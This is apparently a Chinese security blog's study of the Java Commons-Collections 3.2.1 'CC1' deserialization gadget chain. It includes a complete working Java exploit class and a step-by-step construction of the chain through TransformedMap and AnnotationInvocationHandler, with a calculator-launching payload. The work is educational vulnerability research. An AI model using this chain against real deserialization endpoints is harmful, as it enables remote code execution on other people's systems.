调试环境配置
复现环境:jdk1.8.0_65 (/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home)
.java源码 (/Users/gehansheng/Desktop/Java代码审计/CC链/CC1/jdk-af660750b2f4
https://hg.openjdk.org/ 仓库中下载 JDK源码包
Commons-Collections 3.2.1
原安装的 jdk文件夹中的多为 .class反编译后的文件,代码不易阅读和调试,替换为 .java源码文件即可。
src/share/classes 中保存着 Java标准库源码



同理,使用 maven导入 Commons-Collections依赖的时候,maven添加的也是编译后的 .class文件,手动下载源代码即可:

完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package org.kgty;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class EXP { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value",1); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class); annontationInvocationHandlerConstructor.setAccessible(true); Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(annotationInvocationHandler); deserialize(); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize() throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
正常使用 Java反射实现RCE逻辑不做赘述
1 2 3
| Runtime runtime = Runtime.getRuntime(); Method execMethod = Runtime.getMethod("exec", String.class); runtime.invoke(execMethod, "open -a Calcualtor");
|
(1) Commons-Collections 3.2.1中,存在核心接口 Transformer,是一种对象转换的机制,用于将一个输入对象转换为另一个输出对象。

(2) InvokerTransformer类实现了 Transform方法,可以通过反射调用输入对象的方法:

1
| new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"}).transform(runtime);
|
(3) InvokerTransformer中的 transform方法在 TransformedMap的 checkSetValue方法中被调用:

若 valueTransformer的值可控,则可以实现命令执行。
valueTransformer的值在构造函数 TransformedMap中被定义:

但 TransformedMap构造函数的属性为 protected,protected属性修饰的方法只能被当前类/子类调用,所以需要找一个当前类/子类中调用了 TransformedMap构造方法的 public方法。
当前类 public方法 decorate调用了构造方法 TransformedMap:

由此 valueTransformer可控:
1 2 3 4 5 6 7 8 9
| public class blog { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("a","b"); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer); } }
|
(4) 继续向上找 checkSetValue方法在哪里被调用,TransformedMap父类 AbstractInputCheckedMapDecorator中的 MapEntry类中的 setValue方法调用了它:

使用 for循环遍历 transformedMap中的键值时,调用 setValue方法,进而触发 checkSetValue方法实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class blog { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("a", "b"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer); for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) { entry.setValue(runtime); } } }
|
(5) setValue方法在 AnnotationInvocationHandler.readbject方法中被调用,同样是遍历 Map的场景,这条链子大致就齐了:

memberValues的值需可控,类 AnnotationInvocationHandler和其构造方法未使用任何访问修饰符进行修饰,只有同一包中的类可以进行访问调用。

故使用反射进行调用:
type的属性是一种 Class泛型,Annotation是 Java中所有注解类的父类,所以 type需要赋值一种注解类。
1 2 3 4
| Class c = Class.forName("com.sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvHandlerConstructor.setAccessible(true); Object annotationInvHandler = annotationInvHandlerConstructor.newInstance(Override.class, transformedMap);
|
几处需要注意的 gadget
1、Runtime类没有实现 java.io.Serializable接口,不能被序列化和反序列化,需要使用反射来配合 InvokerTransformer构造。
正常反射调用 Runtime.getRuntime().exec():
1 2 3 4 5 6 7 8 9
| public class Test { public static void main(String[] args) throws Exception { Class c = Class.forName("java.lang.Runtime"); Method getRuntimeMethod = c.getMethod("getRuntime", null); Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null); Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(runtime, "open -a Calculator"); } }
|
配合 InvokerTransformer:
1 2 3 4 5 6 7
| public class Test { public static void main(String[] args) throws Exception { Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(runtime); } }
|
可以利用类 ChainedTransformer中 transform方法可以递归调用 InvokerTransformer方法:

1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|
2、AnnotationInvocationHandler.readObject的执行逻辑到达 memberValue.setValue之前,需要经过两个 if条件:

断点调试 readObejct的步进逻辑可知,首先使用 annotationType获取注解 Override,接着使用 annotationType.memberTypes获取注解成员,键为注解成员的值,值为注解成员的类型。
最后判断注解成员是否和memberValue的键值相同,相同则不为 null,通过 if判断。

但 Override.class中无成员,所以更换为 Target.class,并修改 hashMap中传入的键值:


3、最后需要确保 setValue的值可控,虽然 AnnotationInvocationHandler.readObject中已经确定了 setValue的值,但可以利用 ConstantTransformer类修改。
ConstantTransformer.transform无论输入数据是什么,都返回常量 iConstant,iConstant在构造函数中被赋值,利用 ConstantTransformer和 ChainedTransformer可以控制 setValue值:
1 2 3 4 5
| ransformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) };
|
CC1链流程图
